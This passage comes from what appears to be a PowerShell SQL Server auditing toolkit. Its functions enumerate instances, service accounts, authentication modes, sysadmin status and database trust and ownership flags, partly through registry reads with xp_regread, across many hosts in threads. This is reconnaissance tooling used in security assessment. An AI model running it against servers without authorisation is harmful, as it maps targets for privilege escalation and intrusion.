ServiceAccount : LocalSystem AuthenticationMode : Windows and SQL Server Authentication Clustered : No SQLServerVersionNumber : 12.0.4213.0 SQLServerMajorVersion : 2014 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : SP1 OSArchitecture : X64 OsMachineType : WinNT OSVersionName : Windows 8.1 Pro OsVersionNumber : 6.3 Currentlogin : Domain\MyUser IsSysadmin : Yes ActiveSessions : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblServerInfo = New-Object -TypeName System.Data.DataTable } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get number of active sessions for server $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Where-Object -FilterScript { $_.SessionStatus -eq 'running' } | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { # Grab additional information if sysadmin $SysadminSetup = " -- Get machine type DECLARE @MachineType SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', @value_name = N'ProductType', @value = @MachineType output -- Get OS version DECLARE @ProductName SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', @value_name = N'ProductName', @value = @ProductName output" $SysadminQuery = ' @MachineType as [OsMachineType], @ProductName as [OSVersionName],' } else { $SysadminSetup = '' $SysadminQuery = '' } # Define Query $Query = " -- Get SQL Server Information -- Get SQL Server Service Name and Path DECLARE @SQLServerInstance varchar(250) DECLARE @SQLServerServiceName varchar(250) if @@SERVICENAME = 'MSSQLSERVER' BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' set @SQLServerServiceName = 'MSSQLSERVER' END ELSE BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) END -- Get SQL Server Service Account DECLARE @ServiceaccountName varchar(250) EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' -- Get authentication mode DECLARE @AuthenticationMode INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', @AuthenticationMode OUTPUT -- Grab additional information as sysadmin $SysadminSetup -- Return server and version information SELECT '$ComputerName' as [ComputerName], @@servername as [Instance], DEFAULT_DOMAIN() as [DomainName], @SQLServerServiceName as [ServiceName], @ServiceAccountName as [ServiceAccount], (SELECT CASE @AuthenticationMode WHEN 1 THEN 'Windows Authentication' WHEN 2 THEN 'Windows and SQL Server Authentication' ELSE 'Unknown' END) as [AuthenticationMode], CASE SERVERPROPERTY('IsClustered') WHEN 0 THEN 'No' ELSE 'Yes' END as [Clustered], SERVERPROPERTY('productversion') as [SQLServerVersionNumber], SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], serverproperty('Edition') as [SQLServerEdition], SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], $SysadminQuery RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], SYSTEM_USER as [Currentlogin], '$IsSysadmin' as [IsSysadmin], '$ActiveSessions' as [ActiveSessions]" # Execute Query $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append as needed $TblServerInfo = $TblServerInfo + $TblServerInfoTemp } End { # Return data $TblServerInfo } } # ---------------------------------- # Get-SQLServerInfoThreaded # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerInfoThreaded { <# .SYNOPSIS Returns basic server and user information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Instance Number of host threads. .EXAMPLE PS C:\> Get-SQLServerInfoThreaded -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DomainName : Domain ServiceName : MSSQL$STANDARDDEV2014 ServiceAccount : LocalSystem AuthenticationMode : Windows and SQL Server Authentication Clustered : No SQLServerVersionNumber : 12.0.4213.0 SQLServerMajorVersion : 2014 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : SP1 OSArchitecture : X64 OsMachineType : WinNT OSVersionName : Windows 8.1 Pro OsVersionNumber : 6.3 Currentlogin : Domain\MyUser IsSysadmin : Yes ActiveSessions : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfoThreaded -Verbose -Threads 20 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblServerInfo = New-Object -TypeName System.Data.DataTable $null = $TblServerInfo.Columns.Add('ComputerName') $null = $TblServerInfo.Columns.Add('Instance') $null = $TblServerInfo.Columns.Add('DomainName') $null = $TblServerInfo.Columns.Add('ServiceName') $null = $TblServerInfo.Columns.Add('ServiceAccount') $null = $TblServerInfo.Columns.Add('AuthenticationMode') $null = $TblServerInfo.Columns.Add('Clustered') $null = $TblServerInfo.Columns.Add('SQLServerVersionNumber') $null = $TblServerInfo.Columns.Add('SQLServerMajorVersion') $null = $TblServerInfo.Columns.Add('SQLServerEdition') $null = $TblServerInfo.Columns.Add('SQLServerServicePack') $null = $TblServerInfo.Columns.Add('OSArchitecture') $null = $TblServerInfo.Columns.Add('OsMachineType') $null = $TblServerInfo.Columns.Add('OSVersionName') $null = $TblServerInfo.Columns.Add('OsVersionNumber') $null = $TblServerInfo.Columns.Add('Currentlogin') $null = $TblServerInfo.Columns.Add('IsSysadmin') $null = $TblServerInfo.Columns.Add('ActiveSessions') # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Get number of active sessions for server $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Where-Object -FilterScript { $_.SessionStatus -eq 'running' } | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines # Get sysadmin status $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { # Grab additional information if sysadmin $SysadminSetup = " -- Get machine type DECLARE @MachineType SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', @value_name = N'ProductType', @value = @MachineType output -- Get OS version DECLARE @ProductName SYSNAME EXECUTE master.dbo.xp_regread @rootkey = N'HKEY_LOCAL_MACHINE', @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', @value_name = N'ProductName', @value = @ProductName output" $SysadminQuery = ' @MachineType as [OsMachineType], @ProductName as [OSVersionName],' } else { $SysadminSetup = '' $SysadminQuery = '' } # Define Query $Query = " -- Get SQL Server Information -- Get SQL Server Service Name and Path DECLARE @SQLServerInstance varchar(250) DECLARE @SQLServerServiceName varchar(250) if @@SERVICENAME = 'MSSQLSERVER' BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' set @SQLServerServiceName = 'MSSQLSERVER' END ELSE BEGIN set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) END -- Get SQL Server Service Account DECLARE @ServiceaccountName varchar(250) EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' -- Get authentication mode DECLARE @AuthenticationMode INT EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', @AuthenticationMode OUTPUT -- Grab additional information as sysadmin $SysadminSetup -- Return server and version information SELECT '$ComputerName' as [ComputerName], @@servername as [Instance], DEFAULT_DOMAIN() as [DomainName], @SQLServerServiceName as [ServiceName], @ServiceAccountName as [ServiceAccount], (SELECT CASE @AuthenticationMode WHEN 1 THEN 'Windows Authentication' WHEN 2 THEN 'Windows and SQL Server Authentication' ELSE 'Unknown' END) as [AuthenticationMode], CASE SERVERPROPERTY('IsClustered') WHEN 0 THEN 'No' ELSE 'Yes' END as [Clustered], SERVERPROPERTY('productversion') as [SQLServerVersionNumber], SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], serverproperty('Edition') as [SQLServerEdition], SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], $SysadminQuery RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], SYSTEM_USER as [Currentlogin], '$IsSysadmin' as [IsSysadmin], '$ActiveSessions' as [ActiveSessions]" # Execute Query $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append as needed $TblServerInfoTemp | ForEach-Object -Process { # Add row $null = $TblServerInfo.Rows.Add( $_.ComputerName, $_.Instance, $_.DomainName, $_.ServiceName, $_.ServiceAccount, $_.AuthenticationMode, $_.Clustered, $_.SQLServerVersionNumber, $_.SQLServerMajorVersion, $_.SQLServerEdition, $_.SQLServerServicePack, $_.OSArchitecture, $_.OsMachineType, $_.OSVersionName, $_.OsVersionNumber, $_.Currentlogin, $_.IsSysadmin, $_.ActiveSessions ) } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblServerInfo } } # ---------------------------------- # Get-SQLDatabase # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabase { <# .SYNOPSIS Returns database information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER NoDefaults Only select non default databases. .PARAMETER HasAccess Only select databases the current user has access to. .PARAMETER SysAdminOnly Only select databases owned by a sysadmin. .EXAMPLE PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseId : 7 DatabaseName : testdb DatabaseOwner : sa OwnerIsSysadmin : 1 is_trustworthy_on : True is_db_chaining_on : False is_broker_enabled : True is_encrypted : False is_read_only : False create_date : 4/13/2016 4:27:36 PM recovery_model_desc : FULL FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf DbSizeMb : 3.19 has_dbaccess : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases the current user has access to.')] [switch]$HasAccess, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases owned by a sysadmin.')] [switch]$SysAdminOnly, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDatabases = New-Object -TypeName System.Data.DataTable $null = $TblDatabases.Columns.Add('ComputerName') $null = $TblDatabases.Columns.Add('Instance') $null = $TblDatabases.Columns.Add('DatabaseId') $null = $TblDatabases.Columns.Add('DatabaseName') $null = $TblDatabases.Columns.Add('DatabaseOwner') $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') $null = $TblDatabases.Columns.Add('is_trustworthy_on') $null = $TblDatabases.Columns.Add('is_db_chaining_on') $null = $TblDatabases.Columns.Add('is_broker_enabled') $null = $TblDatabases.Columns.Add('is_encrypted') $null = $TblDatabases.Columns.Add('is_read_only') $null = $TblDatabases.Columns.Add('create_date') $null = $TblDatabases.Columns.Add('recovery_model_desc') $null = $TblDatabases.Columns.Add('FileName') $null = $TblDatabases.Columns.Add('DbSizeMb') $null = $TblDatabases.Columns.Add('has_dbaccess') # Setup database filter if($DatabaseName) { $DatabaseFilter = " and a.name like '$DatabaseName'" } else { $DatabaseFilter = '' } # Setup NoDefault filter if($NoDefaults) { $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" } else { $NoDefaultsFilter = '' } # Setup HasAccess filter if($HasAccess) { $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' } else { $HasAccessFilter = '' } # Setup owner is sysadmin filter if($SysAdminOnly) { $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" } else { $SysAdminOnlyFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Check version $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber if($SQLVersionFull) { $SQLVersionShort = $SQLVersionFull.Split('.')[0] } # Base query $QueryStart = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], a.database_id as [DatabaseId], a.name as [DatabaseName], SUSER_SNAME(a.owner_sid) as [DatabaseOwner], IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], a.is_trustworthy_on, a.is_db_chaining_on," # Version specific columns if([int]$SQLVersionShort -ge 10) { $QueryVerSpec = ' a.is_broker_enabled, a.is_encrypted, a.is_read_only,' } # Query end $QueryEnd = ' a.create_date, a.recovery_model_desc, b.filename as [FileName], (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb], HAS_DBACCESS(a.name) as [has_dbaccess] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' # User defined filters $Filters = " $DatabaseFilter $NoDefaultsFilter $HasAccessFilter $SysAdminOnlyFilter ORDER BY a.database_id" $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results for pipeline items $TblResults | ForEach-Object -Process { # Set version specific values if([int]$SQLVersionShort -ge 10) { $is_broker_enabled = $_.is_broker_enabled $is_encrypted = $_.is_encrypted $is_read_only = $_.is_read_only } else { $is_broker_enabled = 'NA' $is_encrypted = 'NA' $is_read_only = 'NA' } $null = $TblDatabases.Rows.Add( $_.ComputerName, $_.Instance, $_.DatabaseId, $_.DatabaseName, $_.DatabaseOwner, $_.OwnerIsSysadmin, $_.is_trustworthy_on, $_.is_db_chaining_on, $is_broker_enabled, $is_encrypted, $is_read_only, $_.create_date, $_.recovery_model_desc, $_.FileName, $_.DbSizeMb, $_.has_dbaccess ) } } End { # Return data $TblDatabases } } # ---------------------------------- # Get-SQLDatabaseThreaded # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabaseThreaded { <# .SYNOPSIS Returns database information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER NoDefaults Only select non default databases. .PARAMETER HasAccess Only select databases the current user has access to. .PARAMETER SysAdminOnly Only select databases owned by a sysadmin. .PARAMETER Threads Number of concurrent host threads. .EXAMPLE PS C:\> Get-SQLDatabaseThreaded -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseId : 7 DatabaseName : testdb DatabaseOwner : sa OwnerIsSysadmin : 1 is_trustworthy_on : True is_db_chaining_on : False is_broker_enabled : True is_encrypted : False is_read_only : False create_date : 4/13/2016 4:27:36 PM recovery_model_desc : FULL FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf DbSizeMb : 3.19 has_dbaccess : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseThreaded -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases the current user has access to.')] [switch]$HasAccess, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases owned by a sysadmin.')] [switch]$SysAdminOnly, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 2, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDatabases = New-Object -TypeName System.Data.DataTable $null = $TblDatabases.Columns.Add('ComputerName') $null = $TblDatabases.Columns.Add('Instance') $null = $TblDatabases.Columns.Add('DatabaseId') $null = $TblDatabases.Columns.Add('DatabaseName') $null = $TblDatabases.Columns.Add('DatabaseOwner') $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') $null = $TblDatabases.Columns.Add('is_trustworthy_on') $null = $TblDatabases.Columns.Add('is_db_chaining_on') $null = $TblDatabases.Columns.Add('is_broker_enabled') $null = $TblDatabases.Columns.Add('is_encrypted') $null = $TblDatabases.Columns.Add('is_read_only') $null = $TblDatabases.Columns.Add('create_date') $null = $TblDatabases.Columns.Add('recovery_model_desc') $null = $TblDatabases.Columns.Add('FileName') $null = $TblDatabases.Columns.Add('DbSizeMb') $null = $TblDatabases.Columns.Add('has_dbaccess') # Setup database filter if($DatabaseName) { $DatabaseFilter = " and a.name like '$DatabaseName'" } else { $DatabaseFilter = '' } # Setup NoDefault filter if($NoDefaults) { $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" } else { $NoDefaultsFilter = '' } # Setup HasAccess filter if($HasAccess) { $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' } else { $HasAccessFilter = '' } # Setup owner is sysadmin filter if($SysAdminOnly) { $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" } else { $SysAdminOnlyFilter = '' } # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { # Set instance $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Check version $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber if($SQLVersionFull) { $SQLVersionShort = $SQLVersionFull.Split('.')[0] } # Base query $QueryStart = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], a.database_id as [DatabaseId], a.name as [DatabaseName], SUSER_SNAME(a.owner_sid) as [DatabaseOwner], IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], a.is_trustworthy_on, a.is_db_chaining_on," # Version specific columns if([int]$SQLVersionShort -ge 10) { $QueryVerSpec = ' a.is_broker_enabled, a.is_encrypted, a.is_read_only,' } # Query end $QueryEnd = ' a.create_date, a.recovery_model_desc, b.filename as [FileName], (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb], HAS_DBACCESS(a.name) as [has_dbaccess] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' # User defined filters $Filters = " $DatabaseFilter $NoDefaultsFilter $HasAccessFilter $SysAdminOnlyFilter ORDER BY a.database_id" $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results for pipeline items $TblResults | ForEach-Object -Process { # Set version specific values if([int]$SQLVersionShort -ge 10) { $is_broker_enabled = $_.is_broker_enabled $is_encrypted = $_.is_encrypted $is_read_only = $_.is_read_only } else { $is_broker_enabled = 'NA' $is_encrypted = 'NA' $is_read_only = 'NA' } $null = $TblDatabases.Rows.Add( $_.ComputerName, $_.Instance, $_.DatabaseId, $_.DatabaseName, $_.DatabaseOwner, $_.OwnerIsSysadmin, $_.is_trustworthy_on, $_.is_db_chaining_on, $is_broker_enabled, $is_encrypted, $is_read_only, $_.create_date, $_.recovery_model_desc, $_.FileName, $_.DbSizeMb, $_.has_dbaccess ) } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblDatabases } } # ---------------------------------- # Get-SQLTable # ---------------------------------- # Author: Scott Sutherland Function Get-SQLTable { <# .SYNOPSIS Returns table information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name to filter for. .PARAMETER TableName Table name to filter for. .PARAMETER NoDefaults Filter out results from default databases. .EXAMPLE PS C:\> Get-SQLTable -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb SchemaName : dbo TableName : NOCList TableType : BASE TABLE ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb SchemaName : dbo TableName : tracking TableType : BASE TABLE .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLTable -Verbose -NoDefaults #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Table name.')] [string]$TableName, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { $TblTables = New-Object -TypeName System.Data.DataTable # Setup table filter if($TableName) { $TableFilter = " where table_name like '%$TableName%'" } else { $TableFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin or DBO privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' 